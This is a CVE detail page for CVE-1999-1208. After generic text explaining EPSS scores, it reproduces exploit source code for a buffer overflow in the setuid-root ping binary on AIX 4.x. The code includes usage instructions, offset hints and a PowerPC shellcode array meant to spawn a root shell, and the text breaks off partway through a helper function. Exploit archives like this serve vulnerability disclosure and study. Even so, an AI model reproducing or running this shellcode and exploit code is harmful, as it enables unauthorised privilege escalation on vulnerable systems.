CVE-1999-1208 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/387/info A buffer overflow condition exists in some versions of /usr/sbin/ping under AIX. Given that ping is SUID root, this overflow allows malicious users to gain root from it. /* * * /usr/sbin/ping exploit (kinda' coded) by BeastMaster V * * CREDITS: this is simpy a modified version of an exploit * posted by Georgi Guninski ([email protected]) * * This will give a #rootshell# by overwriting a buffer * in /usr/sbin/ping while ping is setuid to root. * This exploit is designed for AIX 4.x on PPC platform. * * * USAGE: * $ cc -o foo -g aix_ping.c * $ ./foo 5100 * # * * * HINT: Try giving ranges from 5090 through 5500 * * DISCLAIMER: use this program in a responsible manner. * * --> don't forget to visit http://www.rootshell.com * --> for more goodies :-) * */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (!
